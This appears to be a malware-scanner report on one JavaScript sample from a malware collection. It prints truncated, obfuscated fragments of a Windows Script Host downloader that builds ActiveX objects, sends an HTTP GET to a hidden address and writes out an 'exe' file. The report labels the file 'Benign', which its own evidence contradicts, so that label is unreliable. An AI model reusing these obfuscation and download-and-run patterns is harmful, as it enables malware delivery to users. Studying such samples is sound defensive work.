Benign javascript-malware-collection Download

20160328_baba5680689e1dfac8bd02b3c27c5d0b.js

retry loop wrapping try-catch (for loop)eval() executing transformed code

SHA-256b8d5c8005700718402defeaeece2fd85235aa445aa561e10fa1589a09a977b9a

Evidence

Obfuscated ADODB fragment "ADOD" line 1

1eval(charCode("method%20%3D%20%28%22p%22%29%2C%20rdisplayswap%20%3D%20%28%220%22%29%3Bassert%20%3D%20%28%22LHT%22%29%2C%20factory%20%3D%20%28%22ml2.X%22%29%2C%20protocol%20%3D%20%28%22ll%22%29%3Bget%20%3D%20%28%22e%22%29%3B%20subordinate%20%3D%20%28%22ly%22%29%3B%20classNames%20%3D%20%286142%29%3B%20globalEventContext%20%3D%20%28%22htt%22%29%3B%20bp%20%3D%20%28%22G%22%29%3B%20removeClass%20%3D%20%28%22ADOD%22%29%3BcapName%20%3D%20%28%22en%22%29%3B%20specified%20%3D%20%28%22eam%22%29%3B%20createButtonPseudo%20%3D%20%28%22tatu%22%29%3BisNumeric%20%3D%20%28%22om/%22%29%2C%20on%20%3D%20%2815%29%2C%20after …

JavaScript silently discards caught errors lines 9–20

23… fied, createComment, locked, specified);
10
11function soFar() {
 for (preferredDoc = (1 + -fast); preferredDoc < removeChild[makeArray + "h"]; preferredDoc++) {
    try {
       responseContainer = view[contents + "ript"][password + "eObje" + domManip](removeChild[preferredDoc]);
       href(emptyStyle, rdisplayswap, isNumeric);
       responseContainer[parseFromString + "n" + func]();
       break;
    } catch (doAnimation) {}
 }
 while (responseContainer["readyS" + until] != ((Math.pow(3, originalOptions) - 5))) rhtml["WScrip" + attrs]["Sl" + val] …

Dense computed-property call cluster (3+) lines 21–25

50…  + "s"] == ((6001 & classNames) / (30 | delegateType))) {
    readyList[defaultExtra + "p" + capName]();
    readyList["Write"](responseContainer[propName + "onseB" + setFilters]);
    view["WSc" + uniqueSort]["Sle" + get + "p"]((5000));
    firingInde …

Dense concatenated string fragments lines 32–39

32:276… e%3B"));
33}
34
35function refElements(apply, jsonp, htmlPrefilter) {
36   addHandle(charCode("soFar%28%22http%22%20+%20marginLeft%20+%20%221Tech%22%20+%20preMap%20+%20%22Awh%22%20+%20locked%20+%20%22exe%22%29%3B"));
37}
38
39function addEventListener …

Calls JavaScript unescape lines 40–52

40:146… ions%29%29%29%3B"));
41}
42
43function charCode(keyHooks) {
44   return unescape(keyHooks);
45}
46
47function compare(rparentsprev, rtagName, guid) {
48   addHandle(charCode("pageXOffset%20%3D%20binary%5B%22WScrip%22%20+%20attrs%5D%5B%22Crea%22%20+%20memory%20+%20%22bjec%22%20+%20attrs%5D%28%22WScr%22%20+%20completeDeferred%20+%20%22She%22%20+%20protocol%29%3B"));
49}
50
51function href(nType, curCSS) {
52   addHandle(charCode("responseContainer%5B%22op%22%20+%20get%20+%20%22n%22%5D%28bp%20+%20%22ET%22%2C%20globalEventContext%20+%20%22p%3A//FA%22%20+%20unloadHandler%20+%20%22e …